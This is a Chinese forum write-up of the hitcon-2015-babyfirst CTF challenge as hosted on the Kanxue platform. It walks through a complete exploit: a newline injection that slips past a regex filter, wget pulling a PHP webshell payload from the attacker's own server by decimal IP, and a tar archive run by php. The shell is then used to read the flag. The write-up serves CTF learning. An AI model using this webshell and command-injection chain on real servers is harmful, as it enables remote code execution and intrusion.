-
-
[原创]hitcon-2015-babyfirst (看雪ctf版)writeup
-
发表于: 2天前 150
-
我愿称之为看雪CTF中最吃环境的一题
Step.0 准备一个80端口可用的服务器
你需要一个80端口可用的、不需要备案的 IPv4 服务器。
Step.1 启动一个 KCTF2024_签到题 的靶机
是的你没有看错。不是启动 hitcon-2015-babyfirst 的靶机,是启动 KCTF2024_签到题的靶机。这也是为什么这题这么多人(包括我)没有做出来。我服了。
然后 GetShell。有多达 114 个题解,稍微好一点的 AI 就能在 514 秒内做到这一点。非常的新鲜,非常的美味。
我建议你在凌晨操作这一步:立刻 eval($_SERVER['REMOTE_ADDR'])
你会得到一个类似于 11.4.5.14 的值,而不是大家期待的自己的公网 IP。
原因:看雪平台在所有靶机前面架了一层网关反代,PHP 拿到的
REMOTE_ADDR是网关的内网 IP,而不是你的真实出口 IP。无敌了。
Step.2 立刻释放 KCTF2024_签到题 的靶机,启动 hitcon-2015-babyfirst 的靶机
接下来的步骤的成功率都是 50% 左右——取决于你刚才取得的 IP 有没有变动过。哪怕你做的步骤全对,你也有差不多 50% 的概率做不出来。
平台同时只允许开一个靶机,且分配到的网关内网 IP 可能变化。
Step.3 攻击本体:tar + php 双利用点
Step.3.1 在你的服务器上放 payload
在 80 端口托管一个 index.html(名字无所谓,内容是关键):
<?php
file_put_contents('shell.php', '<?php system($_POST["cmd"]); ?>');
Step.3.2 IP 转十进制
正则 ^\w+$ 封死了点号,把 VPS 的 IP 转成十进制整数(以 1.2.3.4 为例):
1.2.3.4 = 1*2^24 + 2*2^16 + 3*2^8 + 4 = 16909060
Step.3.3 四连发
利用点1:preg_match('/^\w+$/') 中的 $ 会匹配"末尾换行符之前"的位置,所以 xxx%0a 能过正则;换行符进入 shell 后相当于命令分隔符,直接废掉 /bin/orange 前缀:
# 1. 创建纯字母目录
?args[]=xxx%0a&args[]=mkdir&args[]=exploit
# 2. 进入目录并下载 payload(wget 存为 index.html,名字带句号,无所谓)
?args[]=xxx%0a&args[]=cd&args[]=exploit%0a&args[]=wget&args[]=16909060
# 3. 打包目录 —— 引用的是目录名 exploit(纯字母),绕过 index.html 的点号!
?args[]=xxx%0a&args[]=tar&args[]=cvf&args[]=archived&args[]=exploit
# 4. php 执行 tar 包 —— tar 二进制头被原样输出,但内嵌的 <?php ?> 代码照常执行
?args[]=xxx%0a&args[]=php&args[]=archived
这里必须吐槽一句:看雪这台靶机的 busybox 被摘了,只剩 wget——而 wget 下载的文件只能叫
index.html,文件名里的.直接被\w正则枪毙。也就是说 cnblogs 那篇 WP 里"busybox ftpget 下载 shell 文件再 bash 执行"的经典路线被堵得死死的。连试 Content-Disposition、302 重定向改文件名都不好使(wget 1.17 默认全都不认),逼得我只能另辟蹊径。DeepSeek可能是吃了cnblogs做训练语料库,导致给出的是这个思路并且捞不出来。看雪特有的复现比原题难。
利用点2:PHP 解释器可以执行非压缩的 tar 打包文件——tar 里的二进制垃圾被当作普通文本输出,而其中嵌入的 <?php ... ?> 代码会被正常解析执行。这解决了全题最阴间的卡点:busybox 被摘除后,wget 下载的文件只能叫 index.html,而 . 过不了 \w 正则,永远无法被引用/执行/改名——tar 让我们只需要引用目录名。
Step.3.4 收 flag
shell.php 写在 PHP 进程的 cwd(即 sandbox/<REMOTE_ADDR>/)里:
POST http://<靶机地址>/sandbox/11.4.5.14/shell.php
cmd=cat /flag
还是ai好用...打完收工

冰与火的战歌:Windows内核攻防实战高级班!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。